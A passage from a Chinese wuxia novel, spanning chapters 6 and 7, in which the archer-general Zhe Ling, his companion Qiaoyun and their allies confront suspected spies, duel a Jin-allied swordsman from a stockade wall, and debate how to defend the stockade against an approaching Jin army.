中稍定,陪笑欲言,却不料她面色一冷,清咤道:「滚!若觉得能承受了,便自
己再摸过来!」
风慎尴尬,复转怏怏,丧眉垂眼,小意离去。出得门来,方才发觉适才穿衣
慌乱,七扭八歪,不甚齐整。遂行几步后站定,一面整衣一面腹诽,将克里斯蒂
娜直骂了个狗血喷头。待衣已整肃,气已微除,便一步三摇行去,一派潇洒自若
之态。
行数十步,恰恰到了折翎巧云房前不远。风慎怕有人出屋,见到自己这满头
灰土、一脸青肿,遂欲急行几步,绕将过去。可就在堪堪将过之时,只听嘶啦一
声,那房子窗纸被一物洞穿。一物差之毫厘在鬓角飞过,狠狠钉在了身后土墙之
上。
第六章城头三箭
风慎本就在强作镇定,此时飞物掠过,险些被吓得跌跤。惶然回头去看,见
土墙上一染血尖刀已直没至柄,那还顾得步法仪容。只索以手捏颊,将险些出口
的喊声掩住,如丧家之犬般狂奔而去。
房中折翎高卧未醒,呼吸颇为平顺,鼻息之内夹杂着几声轻鼾,似是睡得正
熟。俏婢晓月委顿在折翎床前,左手按着红肿右腕,一汪晶泪聚在眼眶内打转,
似委屈又似疼痛。巧云立在床榻正对着的博古架旁,面色不愉,状似沉思。
适才巧云自克里斯蒂娜处回转,进得房来便见折翎有一足伸在被外,本欲上
前为其整理被角,谁知榻旁转出晓月,只是张臂阻挡,使巧云不得近前。巧云心
下烦闷,又曾在谷中自克里斯蒂娜处听得晓月乃是明教暗中遣来的奸细,此时见
晓月挡在自己与折翎当中,不由得怒绕心头。恐惊醒折翎,压低声音训斥几句,
却见晓月全无了往日的温柔恭顺,只是把脚紧紧在床前钉住也似,寸步不肯相让。
晓月在谷中听得秘辛,自回房后心中忐忑难定,眼见英伟折翎熟睡安详之态,
心念女主巧云活命厚待之恩,左右为难中只觉得自己整个人被扯成两半一般。待
到巧云回房直奔折翎而去,以为谷中那一声「好!我去杀他!」是巧云真心实意,
此刻便要动手。晓月将心一横,合身扑出拦在折巧二人之间,自己虽骇的牙关紧
咬、双腿微颤,也不肯听巧云斥责、让出分毫。
巧云见晓月情状,以为她受了克里斯蒂娜使命,若非杀折翎便再不让自己近
其身,遂怒道:「既让我杀他,也总需让我过去才行得!」言罢便打开晓月手臂
往床前去。
巧云这一打含忿带怒,用了几分功夫劲道。晓月吃了一拍,只觉得半边身子
都跟着痛麻起来。耳听巧云之言,心中惊惧更甚,只恐她真伤了折翎,急用肩头
往巧云身上一顶。巧云被顶了一个措不及防,向后倒退几步方始站定。
巧云恼怒,嗔目欲斥却见晓月面色复杂,既是委屈又有踟蹰,心下不禁暗暗
起疑。遂丢了气恼,再退后几步坐在桌前、自斟了杯茶,将适才自入谷至出克里
斯蒂娜房这一段经过细细思量,黯然静默。晓月见巧云情状,以为自己伤了小姐
心怀,遂不假思索噗通跪倒,亦是再不挪动。
春风拂绿,新芽发生,阳暖透窗,燕儿欢鸣。屋外生机万象,屋内死寂无声。
巧云安坐,又将当年收晓月及这些年的往事在脑中一一过了遍,继而自忖:
「娜娜说晓月是明教中人,可风雪之夜、孤女将死是我亲历,明教真如此神通广
大?竟可算得我何时出行、将走何处?此点断不可信!但若非如此,与廿三郎之
药只晓月与我二人煎熬,她若不识药性、未报娜娜,娜娜又是从何而知?晓月面
上悲苦分明,泪目而跪,定有隐情。她究竟因何拦我?不如我再试她一试!」
巧云这一番思想足足花去顿饭功夫方才起身。主意既定,遂双目凝聚、飞身
出掌、直扑折翎。晓月大惊,以为巧云定计,欲对折翎痛下杀手,忙起身将自己
挡在折翎身前。
晓月本就不识武功法诀,又加谷中巧云所使身法曼妙绮丽,直以为自家小姐
只是善舞而攻。此刻直撄其锋,但觉劲风扑面、肤痛欲裂,方知小姐亦是武道中
人。虽是甘愿舍身,心内却也慌乱异常,遂收回张开双臂蜷在胸前,侧头紧闭了
双目待死。谁料收臂后忽觉左胸有硬物一咯,电光火石间记起袖中藏了白小六所
遗尖刀,也忘了眼前心中这许多,只将尖刀摸出在面前空中胡乱比划。
巧云一掌推出,见晓月只是将身子挡在折翎前面便再无动作,心内欣喜,转
而略有微酸。所喜者,晓月对自己仍如旧时般忠心不二,应非明教所遣之人;所
酸者,晓月随侍已久,却从未如现下般将对折翎心意大白于自己眼前。心神略分,
暗叹口气,便想散了势子、将事情前因后果好生盘问清楚。不想尚未及收招,晓
月便摸出把尖刀乱划。幸得晓月体弱,挥刀亦无章法,才不至伤及自体。巧云认
准刀路,一下擒住晓月手腕,刚欲出言喝问,眼光一转瞥见刀如牛耳、虎血犹存。
禁不住一颗心突突急跳,脑海里全是白小六坠崖的情形,浑忘了安睡的折翎。又
惊又怕的娇咤一声;手指使力,捏的晓月骨裂筋开、再握不住尖刀;紧接着侧飞
一脚,将正在跌落的尖刀破窗纸踢出屋外。
见勾起魂思的尖刀飞去无踪,巧云心下略略定了些个,放开晓月手腕颤声道
:「你当时就在谷中!你果然是娜娜所遣明教暗桩!你将这刀拾回来吓我!还是
你……你得了娜娜之命,准备杀我……不,是杀廿三郎么?」
巧云问罢,忽地省起折翎就躺在一旁,如此吵闹,怎会不醒?急转头去看,
却见折翎依旧沉睡,心切情急,怒喝出声:「你这贱婢,对廿三郎做了什么?」
晓月听巧云问自己话中大有冤屈,急欲分辨,但抬手对巧云只比了一个手势
便觉腕子钻心般疼痛。抬眼见巧云已扣住折翎脉门,拦阻已是不及,再看巧云眼
中尽是关切,方才醒悟过来吵闹中折翎未醒、大有不妥,遂也担着颗心静静立在
下首。
巧云探折翎脉象平稳,并无大碍,只是体内的药草分量比起平日来重了许多,
以至他昏沉不醒。思来想去,只有晓月能做此事,又记起克里斯蒂娜之言及方才
晓月手中的虎血尖刀,遂运力足尖、一点晓月膝盖窝,沉声恨恨道:「你这贱婢
做的好事!」
晓月精神全在折翎身上,只觉得自己双腿一麻,站立不住,委顿在地。耳听
巧云再次喝问,心中委屈倒比腕痛更甚,眼眶中晶莹流转,只是看着巧云摇头。
巧云抬手欲打,看见晓月清秀模样,这几年中那些殷勤小意、惟命是从一时
间都涌上心头。放手转念,省起晓月手中尖刀说明她定是身在谷中,那药草调制
需时,即便她偷偷学到方法,却也分身乏术,不可能趁自己在谷中时再喂折翎服
药。这事中大有蹊跷,说不定另有他人所为。思虑中向外走了几步,又想及晓月
受明教之命已久,说不得早就做了准备,只待今日所用。左思这般,右想如此,
终究难得要领。
巧云不动,晓月亦不敢动。就这般一站一坐,自正午直至红日偏西。晓月双
腿麻木渐解,挪身改坐为跪。巧云见她手腕青肿,低眉顺目,更觉可怜。正欲伸
手扶她起来,将心中疑窦好生问个确实之时,闻听门外有人扬声请报。
「将军,郝挚请见。」
巧云起身启户,见郝挚抱拳站在门外,遂微笑言道:「廿三郎伤势不稳,服
了药尚在沉睡。事可急么?若是不急,可否待他醒转,由我转告?」
郝挚抱拳不动,垂首为礼道:「云夫人,安公子和魏庆在砦外不远发现敌踪,
皆是蜀……皆是宋人。杀了四个,捉了个活的。言说金狗欲穿此砦行路入蜀,大
队已过白龙江。安公子命我来请将军和王砦主至砦墙处,审问、商议。」
说到「皆是宋人」四字时,郝挚语气忽滞、眉头收紧。巧云闻言,心中一颤,
身子微微晃了几晃,抓着门框强做平静道:「你先去吧。我这便喊醒廿三郎,告
知他过去。」
郝挚顿首应诺,转身行了几步又转回抱拳问道:「云夫人,可见了小六么?」
巧云本就心神不定,再一听郝挚问起白小六,心中愧疚更甚,欲语却难,只
缓缓摇了摇头。郝挚挠头道:「这贼小子!前阵子一直在我耳边絮叨,说见夫人
惧寒,要为夫人做虎皮披肩、虎皮坐垫。如今得了将军的虎皮,却又不知去哪里
顽耍。夫人若是见了,烦请告知他今晚给陆兄弟的接风宴怕是办不成了,让他到
砦墙处寻我等吧!」言罢,一双眼在巧云身上打量了一番,又往屋内瞥了一瞥,
这才欲言又止地行礼告辞。
巧云见他情状,知他所想,一时心间也是凄然。闭了房门,在腰垂香囊中取
出一小包药粉,使指甲挑出些许弹在桌上杯中,又取些水冲了,拿了杯在手中发
愣。转过念来又想适才欲除去克女之思只是泄愤,却难解自己愁局。眼神越过地
上跪的晓月,心中暗暗思量:「家门教养,明教逼迫,折郎麾下与我门中人多有
杀伤,可叫我如何是好?姊姊英武,小妹怀韬,定可成就家门大事。我一以色娱
人之姬,不如退去。这世间真心待我者,唯廿三郎一人。我请他践前诺、同我避
世而居,他定会应允。到时我与他同心相印,再无半点欺瞒,岂不胜却如今千倍
万倍么!」端杯往床榻处走了几步,猛地省起折翎待箭营兄弟至厚,白小六又是
丧命在自己眼前,心头又忐忑起来。再转念思及郝挚回报花石峡大战的情势及命
丧安鸿剑下的四师公,眼窝一酸,眼前便朦胧起来。想想两边死伤或可相抵,心
中稍定,却怎么也高兴不起来。
巧云端杯至床前,将折翎缓缓扶起喂水。适才巧云放药粉时一直背对床榻,
尚跪在地上的晓月未曾看见,故此也不拦阻。抬眼望巧云面上愁云惨淡,眼中晶
莹流转,想关心却又不敢。只好怯生生的将眼紧紧盯着巧云每一个动作,一来怕
漏掉巧云使唤,二来也怕巧云暴起伤害折翎、自己救护不及。
未几,折翎鼻中嗯了一声,缓缓张开双眼。感觉到脑后枕的温香软玉,微微
一笑执起正为自己抚胸口那一只柔荑,尚未动问便已见到跪在床前、面带泪痕的
晓月,讶道:「晓月怎么跪在地上?」
巧云扶着折翎坐直,强装清淡道:「方才你睡下不久,我便也伏在床边睡着。
这丫头偷偷溜出去顽,不知怎地摔了手臂。我恨她不小心,所以让她跪着。」说
到此处,话锋一转道:「适才郝挚来报,魏庆在砦外有发现,请你去砦墙处商议,
王砦主和二叔都在那处等你,我这才把你唤醒。我为你整理衣衫,先顾着正事要
紧。」
折翎闻言,抖抖头颈振作精神,起身宠溺的拍了拍晓月的额顶道:「正该如
此。晓月还是个孩子,莫太严苛了。魏庆所报,定是金人远拦踪迹,且取我穿云
来。」
巧云应诺,往墙角取了折翎的大弓。晓月忙从地上跃起,随着巧云曳出两个
箭筒。大弓一角,布满拖痕;箭筒中装满箭支,尾端竟然俱是无翎。
折翎持弓背箭、整束欲行,巧云在身后道:「廿三郎,你身子尚未大好,能
不动弓时就不动了吧!」
折翎停步颔首道:「云儿放心,我心中自有分数。」继而又沉沉叹了口气:
「这几日睡起,只觉得耳目不明、精神不畅。这伤莫名其妙,也不知何时方能痊
愈?」一边说话一边出得门去。
折翎转出中坪,恰好撞见急急火火往砦墙去的王砦主,遂行在一处。不多时
上了砦墙,只见一人臂上系着两截黛色丝绦,满口鲜血躺在正中,已是死了。安
鸿魏庆立在一旁,面无表情。另一侧有砦丁十数,明刀亮剑、怒目横眉对着安魏。
箭营未伤诸人俱在睥睨处向外持弓戒备,陆大安与晏虎各持刀剑在安魏身边守护,
只不见郝挚和白小六踪影。
不明所以的折翎尚未言语,王砦主已抢前几步呵斥砦丁散开。砦丁让开条通
路,望向王砦主的眼中,怒愧参半。安魏陆晏四人见折翎来到,遂抱拳行礼,剑
拔弩张之氛,略略缓解。
安鸿向折翎行礼后,穿过众人来到折翎身边,近耳悄声道:「魏庆在砦门见
几人面孔陌生,欲上前查问时,两人已慌慌张张退去。守门砦丁故意阻了魏庆些
许,两人便没了踪影。我来时,魏庆正在砦外搜索痕迹。我与他循迹到了五十余
里外,竟然见了一座金狗营盘。粗数帐幕,人数当有千余。我二人见追踪的行迹
未绝,又恐打草惊蛇,故悄悄退去。不数里,又见了一座小营,内中俱是宋人。
金营外不曾见明桩暗哨,宋营外却是不少。我二人杀了四个,捉了一个活口回砦。
却不料砦中人见了此人,便围拢上来鼓噪。箭营兄弟赶到,我教郝挚去寻你,墙
外却又来了金狗。箭营兄弟一阵箭射下去,捉回来这人竟趁机冲破穴道咬了舌头
自尽。古怪!古怪的紧!」
折翎面色一凝,刚要说话,却听得耳边弓弦吱呀,令人牙酸,继而砦墙外便
传来几声惨呼。折翎手扶睥睨向外瞭望,只见砦外河边、斜坡之上伏着几具金人
尸首。另有两个状似首领的金人在不远处人手各持一木盾,一边将射到身前的箭
支挡开,一边缓缓退远。
转眼间,砦墙上众箭手又是一轮箭雨洒出,两名金人首领手上的木盾上亦多
扎了些箭支,人身却是无恙。折翎见状,张长弓搭无翎箭直指其一。墙上众人一
眨眼前方见折翎张弓,眼未全睁便听得一声撕裂长空的尖啸,张开眼即见折翎箭
指的那名金人首领连盾带人被钉在地上,口中鲜血汩汩,双脚犹在蹬动。
本在对着墙上咬舌人发愣的王砦主被折翎这一箭引了目光,反应极快的高声
喝了个彩。彩声未落,砦丁们的惊叹之声便轰然传来。
折翎面沉心静,不理砦墙上惊呼慨叹,探手背后再取一箭,如电放出。砦墙
上所有人都屏住呼吸看着折翎发箭,墙垛上插着的本是迎风飘荡的旗子也无精打
采的垂头,一切仿似都已凝滞,只余折翎手中无翎箭支破开一切,呼啸而去。
对面那名剩余的金人首领貌似已被同伴的殒命方式吓呆,头压的极低,站在
那处一动不动。电光火石之间,无翎箭已到了近前。砦墙上众人见此情景,震天
一声彩喝出口来。这边彩声方起,那边箭已触盾。可这张盾牌并未如上一人手中
盾般被利箭穿透,而是以箭触点为中心,飞速向四边龟裂开去,霎时间碎裂,化
为小木块飞散四方。盾后人前响起一清亮金铁交鸣,声若龙吟,余音久久。
这一切发生太速,砦墙上大多人只见盾碎、闻金鸣而不知其余。只寥寥几人
看清箭碎木盾之后,金人手中挥剑将去势已衰的无翎箭劈开原向,身子微摆,将
夺命一箭险到毫厘的避了开去。
折翎微怔,继而眼睛一亮,轻笑道:「有趣!不想在这山野之处竟能遇到如
此高手!晏虎,红翎!」
一旁的晏虎未看清原委,听自家将军语方知无翎箭竟是无功。暗自咋舌间飞
速将身后红翎箭抽了一支双手递上。折翎反手接箭,尚未入手,身侧两道身影已
自砦墙上飞掠而下,直奔那强横金人。折翎虎目一扫,认出是安鸿魏庆,遂接过
红翎箭虚扣在弓弦之上,留而不发。
魏庆深知折翎羽箭之威,适才见那金人首领竟以真气灌注木盾挡箭,又飞速
抽剑打掉折翎箭只,知其武功高强,恐其全身而退、翌日为宋人之害。而安鸿却
是心切折翎伤势未愈,恐他伤上加伤。二人遂心意相通般同时提气轻身,跃下砦
墙,意图将老者杀死。砦墙高厚,又兼墙前颇陡,似此一跃而下,非轻功了得之
人不能安然。折翎见安鸿流星般飞下并不以为意,转见魏庆身法奇诡、只落后安
鸿一息,却不由暗暗称奇。
安鸿在空中毫不停留,借着前冲之力使了招追风赶月,一剑刺出。魏庆却是
先求落地,紧接着一个地滚在袖中取出一对细铁锥,灵蛇出洞般直逼金人首领脚
踝。那金人不慌不忙,将身子一缩,一柄剑由左到右画了个半圆,将安鸿在头顶
上让过、上下两路的攻击收在剑势里,再好整以暇的还刺了魏庆一剑,然后才向
侧方一跃,捏了个旋风格提剑以待。
安鸿落地,定睛看那金人首领。见其竟是个瘦削精干、须发皆白的老者。想
起适才他那一剑深得青城守无致虚的精妙,遂开口问道:「前辈深得青城功法之
妙,定是青城前辈高人。敢问前辈名号为何?家师曾上青城山问道,与前辈或许
有旧。」
老者听罢,剑势不散,只冷冷道:「小子恁多废话!上来送死便是!」
安鸿闻言失笑道:「既如此,恭敬不如从命!」言罢,望了望一旁的魏庆,
见他虽紧盯老者,却是双手下垂、没有出手之势。遂说了个请字,剑递身前。老
者也不多说,欺身而上。
二人所战之处,尚在砦前湿滑陡坡上。偏偏这二人在这普通人连站立都难的
所在,将手中一口剑使得轻灵飘逸,出尘若仙。老者所用每招每势,都是剑宗大
派的精妙招式,时而华山、时而无量,直教人眼花缭乱。安鸿所使,却俱为最粗
浅的入门剑招。但这剑招在安鸿手中,便如同凭空生出千百种变化,自不可能处
别出机杼,隐隐克制老者手下精妙。你来我往凡二十余合,老者渐渐失了先手,
虽是招式不乱,但守势已是渐多。
砦墙上折翎依旧持弓不动,看似专注观战,却是暗自调息,运转真气自查肺
脉,平复适才因那两箭而上涌的烦躁。王砦主站在折翎身侧,一张笑面上挂着难
能得见的凝重。其余人众只远远看见一团光影乱舞,只得瞪大着双眼等待着胜负
分出的一刻。
战团附近的魏庆冷眼冷面的看着二人交手,整个人就如同木桩一般丝毫不动。
战团中安鸿渐渐势强,趁着老者后退的时机突出一招仙人指路,老者略有不防,
身子向右趔了少许。说时迟那时快,魏庆如一只觊觎猎物已久的豹子般暴起,手
中铁锥直击老者面门。老者怒喝一声,借着趔趄的势子往右便倒,险险避过魏庆
的突然一击。魏庆手腕一转,手中双锥刺中了老者头上戴的金人狐尾帽顶,并挑
散了老者头上发髻,整个人急掠而过。
老者在地上翻滚起身,满身泥污,狼狈的向后退了几步怒道:「贼子!竟敢
突施暗算!今日我必取你狗命!」
安鸿回腕收剑,看着魏庆蹙眉不语,心头亦是不耻。魏庆垂首立在一旁,面
无表情,就似适才突施一击非自己所为一般。老者貂帽落下后,砦墙上砦丁响起
一片惊呼,王砦主在折翎身侧搓手咋舌道:「以多欺少,这个……这个不太好吧?」
折翎探伤无碍,收气沉声道:「武林人士切磋,自该单打独斗。但这老贼甘
为金狗之奴,便是做我宋人仇寇。对英雄,有英雄道理;对仇寇,有仇寇规矩。
那金狗起于山野,能有多少人物?我大宋河山沦丧,多为此辈奸人助纣为虐所致。
对此等人,何须顾忌?」
王砦主喏喏不言,面上却挂了六分关切、四分羞惭。折翎虽做如是言,但心
中对魏庆偷袭也是不喜,故扬声唤道:「魏庆,回来。二弟,停手。兀那老狗,
且再吃我三箭!若你不死,我便放你归去!」
折翎言罢,停了几息,见安鸿轻身退开,魏庆依令而返,遂张弓搭箭喝了声
:「看箭」!箭字出口,弓弦离手。弦在弓上嗡嗡颤抖,一道红光转瞬即逝,下
一息已来到老者身前。
老者得了折翎故意留下的喘息空当,已将真气强自调匀。耳听羽箭破空之声,
圆睁了双目,大喝一声,运剑如刀、直劈而下。剑锋真气鼓荡,带起地上落叶无
数,浅草突分,现出直直的一条泥土。
红翎箭倏忽而至,老者运剑的火候分寸正是恰好,硬生生的劈在红翎箭头之
上。箭剑相交,发出清亮金铁之鸣;余音尚亢,继之又是利刃破木的「喀嚓」一
声。老者闷哼退后,双肩皆现血光。被老者一剑劈成两半的箭支各带半边红翎擦
过老者肩头、转瞬无踪。适才被老者剑气裹挟的落叶又被红翎箭反着带回来,在
老者身边打了个拧漩,散落一地。
折翎自幼随佟仲之父习武,天赋异禀、青出于蓝。少年时更得折可同私下传
授箭法,其后江湖飘荡,明悟以气御箭之技。自梁山受折可存点拨甄致大成以来,
再未遇正面能挡一箭之敌。此刻遇此强者,心中虽恨他为虎作伥,却也着实有些
棋逢对手的爽快,仰天大笑道:「好内功!好宝剑!」言罢,探手向后。一旁的
晏虎刚刚听自家将军说明要射三箭,早就将自己箭壶中红翎取了两支捧在手上。
此刻见折翎探手,即刻奉上。折翎取箭,侧头对晏虎微微一笑以示夸奖,才再搭
箭道:「看箭!」
折翎欢愉再射,对面老者却是面若死灰。方才见出手三人俱是一等高手,自
知难敌。本想拼力一剑,以自己潜修四十年内力将箭劈歪,借力往安鸿对面密林
中潜遁而去。谁料折翎之箭非止力大,其上更蕴满真气,若不是自己手中剑乃是
蜀中名匠所冶,借其锋利劈开箭头,此时已做箭下一鬼。现下虽是得脱大难,但
已是双肩被伤、虎口剧痛,借力遁逃之事则是化为泡影。此刻见红翎如血、破空
而来,真个是心胆俱裂。勉力鼓足剩余真气灌在臂腕之上,双手握剑欲作殊死搏,
却见红翎像是失了准头,在自己身侧不远处呼掠而过,笃地一声没入一棵大木中,
只余红翎在风中飘动。
老者见箭矢划过,心中一松,一口气散了出去,脚下险些滑倒,骇了自己一
跳。忽想起墙上人还有一箭未发、安鸿虎视在侧,忙调息运气不提。砦墙之上,
折翎垂弓而立,冷冷的遥视着墙下老者。王砦主坐在折翎身后的地上,却感觉背
对自己的折翎似乎将全部气机都锁在了自己身上,使得自己周身寒冷无匹,忍不
住打了寒噤强笑道:「观战心切,一时脚滑,冲撞了将军神射,还请将军海涵啊!」
折翎探手从晏虎处再接一支红翎,一边搭箭一边说道:「王砦主不必过谦。
砦主太阳穴高鼓,双腿略弯,下盘结实,虽有一张人皆喜爱的笑面吸引注意,却
也难掩这一身顶尖外家功夫。如此用腿高手,怎会脚滑撞我?我等久居砦中,本
该还王砦主些人情,只是今日这老者武艺强悍,又甘为金人走狗,断不能放去。
这余下一箭,还请王砦主成全。」
折翎语气悠然、动作舒缓,远远看去像极了一个在山间闲暇游猎的富家公子。
可无论是被折翎箭尖遥指的老者,还是折翎身周不远处的王砦主和晏虎,都觉得
身周似有寒冬北风袭来,整个身子如坠冰窟。折翎缓缓拉弓,弦开半满。王砦主
觉得身周气机压迫渐渐松懈,却也隐隐觉得墙下老者生机渐绝。看着折翎背影近
在咫尺,却不敢再动分毫。心中惊恐于带伤折翎境界竟能如此之余,亦为老者生
死攸关而焦急万分。
时光说来似缓,实则飞速,转瞬间折翎大弓已是开成满月。墙下老者感知折
翎气息,自知今日恐难生还,深吸了口气双手握剑冷目以对。折翎蓄势已满,正
要喝一声看箭便结果了老者性命。忽听身后不远处唤道:「将军且住!」
折翎闻声知人,眉头一簇、心口一纠,些许怒意升腾。举弓良久,肺脉隐隐
作痛,又思及平日照看、恩爱,默默一叹。遂将箭头偏了半寸,松弦出箭。
箭支离弦,身后登时发出十数声惊呼。只是这箭支飞出后,竟隐隐夹了风雷
之声,瞬时盖住一切声响。红翎在空中划出一道火色残影,重重的撞在插在木中
的第二支箭箭尾。一声闷响,树皮木屑漫天飞舞,众人循声望去,之见合抱之木
已烂去半边。墙下老者本已将真气全数调动,以抵挡折翎。待折翎忽然转了箭向,
老者只觉身前一空、气息翻涌,所有真气都击在了空处,喉头一甜、呕血当场。
折翎收弓、负手立于墙头,衣袂与大旗一同随风飘舞、猎猎作响,高大威武、
状似天神。墙上墙下,所有目光都聚在折翎身上,只是心怀各异,一时寂静无声。
安鸿虽是离墙甚远,但内力充沛、耳聪目明,将墙上事听了个分明。对着老
者向外摆了摆手,飘然而回。老者鲜血染满白须,喘息不已,状甚恐怖。见了安
鸿手势,神色复杂的对着折翎行了个抱拳礼,又将目光瞟了眼折翎身后,返身离
去。
安鸿上得砦墙,叫了巧云一声「嫂嫂」,行了个礼便退在一边。王砦主慢慢
爬起,也低着头退往一侧。箭营众人,走过围簇安鸿;砦丁十数,跑去拥立砦主。
片刻间,两拨人众泾渭分明。
巧云趋前,面色泛白、双手微颤、福一礼道:「谢将军!」
折翎不语,不动,似木然,又似沉思。
巧云再福,柔声道:「郝挚已将情形说与我听。此时金人进逼,当先协心同
力退敌才是。我已自作主张,使郝挚请风大人至议事厅等候。请将军、二叔及王
砦主同去共商对策。奴家前事,自初见至再见,自富平至此砦,对将军多有欺瞒。
待将军正事毕,且归房中,奴家从头说与将军知晓。奴家一心以待将军,欺瞒处
俱是不得已,还望将军体谅。」
折翎听巧云声音虽柔,言语间却透出近来少有的平静笃定。待到巧云自述经
历,细想起以往种种及巧云当时面上颜色,诚然如斯言。心下便是一软,回身抚
了抚巧云脸颊,胸中千重疑问、万般言语终究未说出口,只轻轻点了点头便当先
下墙,直奔上坪。安鸿对着巧云一礼,随行而去。王砦主将眼看着巧云,待巧云
做了个手势、微微颔首,方才吩咐砦丁好生守卫、独自离去。
巧云适才情急之下喊折翎手下留情,心中忐忑不已。转念思及自己即将抛却
一切重负、与折翎双宿双飞,心内又是一阵欢喜。呆立远处,小心思在内中辗转
几番,才惊觉箭营众人尚在看着自己,遂面红道:「请诸位箭营兄弟亦在砦墙守
把,切勿与砦内人起冲突。若有事宜,待将军回来再处。」
箭营众人抱拳应诺,各自散开。陆大安也准备去寻个睥睨瞭望,忽闻巧云呼
唤道:「陆先生,此刻将军身边无人。请先生去将军身边听调可好?」
陆大安闻言,拱手连称不敢,转身就走,将那耳后传来巧云吩咐砦丁把那咬
舌之人抬去安葬之语抛去不想,一溜烟跑下墙去。陆大安腿快,未到中坪便已赶
上折翎人等,禀明来意,在折翎身后随行。
众人一路默默。进了议事厅,早就等在此处的风慎起身将众人礼让入座。风
慎肉痛,王砦主心愧,折翎静思,安鸿不语,正是各怀心事,静谧无言。此时天
色渐黑,堂中只点了一支火把。火光忽明忽暗,照的众人面色都如阴晴不定一般。
良久,站在折翎身后的陆大安不耐烦嘀咕道:「不是来议事的么?金狗已在不远,
怎地个个都学起乌金山中的老和尚来?」
陆大安声音极小,但屋内众人除风慎外个个武功高强,俱听了个清楚。折翎
猛醒,对风慎拱了拱手,将适才之事从头到尾学了一遍,继而问道:「风先生可
有良策?」
风慎听罢,心中暗喜,眯眼捻须、做出一副高深样子问道:「王砦主,不知
砦中有多少能战之士?」
王砦主适才得了巧云首肯,此刻也不隐瞒,笑意上脸应道:「回风大人,除
却妇孺,得力青壮约有百人。」
风慎心头一动,暗自思量:「砦中房舍,恐是住上千人亦有富余。这砦主所
言不实,怕是得了克里斯蒂娜所命,另有心思。不过如此甚好,以人数优劣说动
折翎遣人下山求援,我便能溜之大吉。」轻咳一声,正要言语。安鸿在一旁轻声
道:「砦中房舍甚多,人众却是稀少。」
安鸿此语甚轻,不类发问,反而更似自言自语。折翎将眼看王砦主,风慎在
肚中暗自腹诽,王砦主却呵呵一笑道:「不瞒安公子,我砦中所住本有近两千丁
口,武艺高强者也有数十。只因近日有一大事要办,故四散下山张罗。此间留守
不多,是为实情,还望公子明察。」
安鸿一笑,再不多言,噏唇传音与折翎道:「此人一向吞吞吐吐,不露实情,
今日反常,大哥小心。」
折翎不看安鸿,只是微微颔首。风慎惧折翎追问情由,误了自己所谋,遂急
忙道:「那再敢问砦主,砦中军器所备如何?嗯……尤以箭支为要。」
王砦主再笑,挠头道:「此砦偏僻,又兼险峻,多年来从无敌至。因此,这
军器所积不多。刀枪弓盾应有几百,箭支却是不多。」
风慎闻言大喜,恨不得当场手舞足蹈一番。恐被众人发觉心内喜悦,故暗暗
在袖中捏紧了拳头,将面上愉悦之情化作重重一叹道:「如此这砦子是难守住了!
安公子所探之营,应是金人前哨。前哨人马便有千数,那后续之兵必定众多。所
俘之人,又曾言道大兵已过白龙江,恐其进兵之期,亦在眼前。此砦虽险,但兵
丁军器俱缺。如是死守,必定凶多吉少!不若……」
说到此处,风慎捻须蹙眉,停了话语。折翎安鸿对视一眼,齐声问道:「不
若如何?」
风慎以为得计,沉吟道:「金人自此险峻难知处进军,定是大散关一线我西
军守把得力,急切难过。张枢密携西军主力,应是陈兵于大散关一线。敢问王砦
主,此砦可有小径直通大散关前?」
王砦主略略一顿,继而犹豫道:「我少出山,故此不知。」
风慎心中暗骂,嘴里却大义凛然道:「砦主不知,也是在理。此砦名诸葛,
又有邓艾留下神迹,定是邓艾昔年入蜀之路。那么自后山绝壁而下,必可直通蜀
中。不若遣人取道蜀中,赴大散关求军来援。内外夹击,定可保此砦无虞。将军
且举砦在此与金人前哨周旋,在下曾在张枢密帐前参谋,愿为将军舍命走这一遭,
搬来大军,剿灭金狗!」
折翎起身对风慎行了一礼,正色道:「风先生所议极是!但山中崎岖,又多
虎豹豺狼,先生却是去不得!二弟,你走一遭如何?」
安鸿站起抱拳道:「义不容辞,大哥放心!」
风慎亦起身急道:「不妥不妥,安公子与张枢密素来不识。如何能至中军得
见枢密之面?迁延时久,误了兵机,漫说此砦不存,便是蜀中亦难保有。还是我
去!」
安鸿闻言感动道:「风先生忧国忧民,心胸着实令安某佩服!但此行危险,
还是我去稳妥些。至于枢密之处,劳烦先生手书一封,交予我带去。进中军,易
事耳!定不负先生与大哥所托!」
风慎惶急,张口欲辩。折翎向前几步一把握住他手道:「先生莫再争了,此
砦虽险,但守备稀松。欲坚持到援军大至,尚要费些功夫重理防务。先生与王砦
主一知兵事,一知地理,守备之事,还需二位与我同心协力!请先生万勿推辞!」
风慎心中暗暗叫苦,却又不敢露迹太过,只得苦面唯唯。安鸿见风慎眉头紧
皱,面色焦急,以为他犹担心求援事,遂欲说些话安慰于他。尚未曾言语,只听
一旁半晌无语的王砦主冷冷一笑,问道:「这砦子虽是姓孟,但主家不在,便是
我来做主。若我力主不守,折将军又有何话说?」
第七章各自心怀
安鸿风慎都是一怔,继而向折翎望去。折翎微微一笑道:「议事厅前大旗三
面,正中那面便是斗大一孟。砦主尊位后所挂锦绣之上,亦是孟字当中。我虽愚
笨,却也知砦主只是提线木偶。砦主你又何必如此惺惺作态呢?每每议事之时,
砦主眼光只在我身边巡逡。说不得那主事之人不由砦主反由我吧?砦主宽心,但
听令便是。」
王砦主闻言,再不隐匿眸中精芒,冷笑起身道:「既如此,小人敬候召唤便
是。祝将军言到功成,得偿所愿!」
折翎笑意更浓,拱手一礼、转身便走。陆大安在身后如影随形。安鸿风慎对
视一眼,亦是紧紧跟随。未行几步,折翎停步道:「折翎身边人虽是女流,但大
节大义之处,一向不让须眉。金狗肆虐,屠我宋境,自富平至此她皆看在眼中。
下人虽做出助纣为虐、与虎谋皮之事,她心中却必定苦痛万分、恨其助残暴金、
怒其为胡人犬。今日之事,恰是拨乱反正之机。她必与我同心坚守此处,自此便
可放开胸怀,与我再无隔阂欺瞒。还请王砦主尽速秣兵历马,以待大战!」顿了
一顿,侧头回望,痛心道:「看在她面上,只要你等全力助我守砦,前番做下之
事,我……我便既往不咎。」说到此处,又是重重一叹:「只不知为何你等身为
宋人,却做金人走狗,丧了我箭营这等英雄弟兄!」言罢,向后一抓陆大安手臂,
大步流星而去。
陆大安虽是粗豪,但也听懂了折翎所言之意。想起生死不知的佟仲和花石峡
那场险些丧命的血战,双眉一拧,就要抽刀。恰此时,折翎如未卜先知般探手将
其右臂紧握。陆大安只觉臂间一股大力无可抵御,只得压了怒火,乖乖随行。
二人身后,安鸿对一切早就有所猜测,故虽不愉却也未变面色。而一旁的风
慎却心思飞转,一双眼珠滴溜溜转个不停。把折翎适才所言想了又想,再思及自
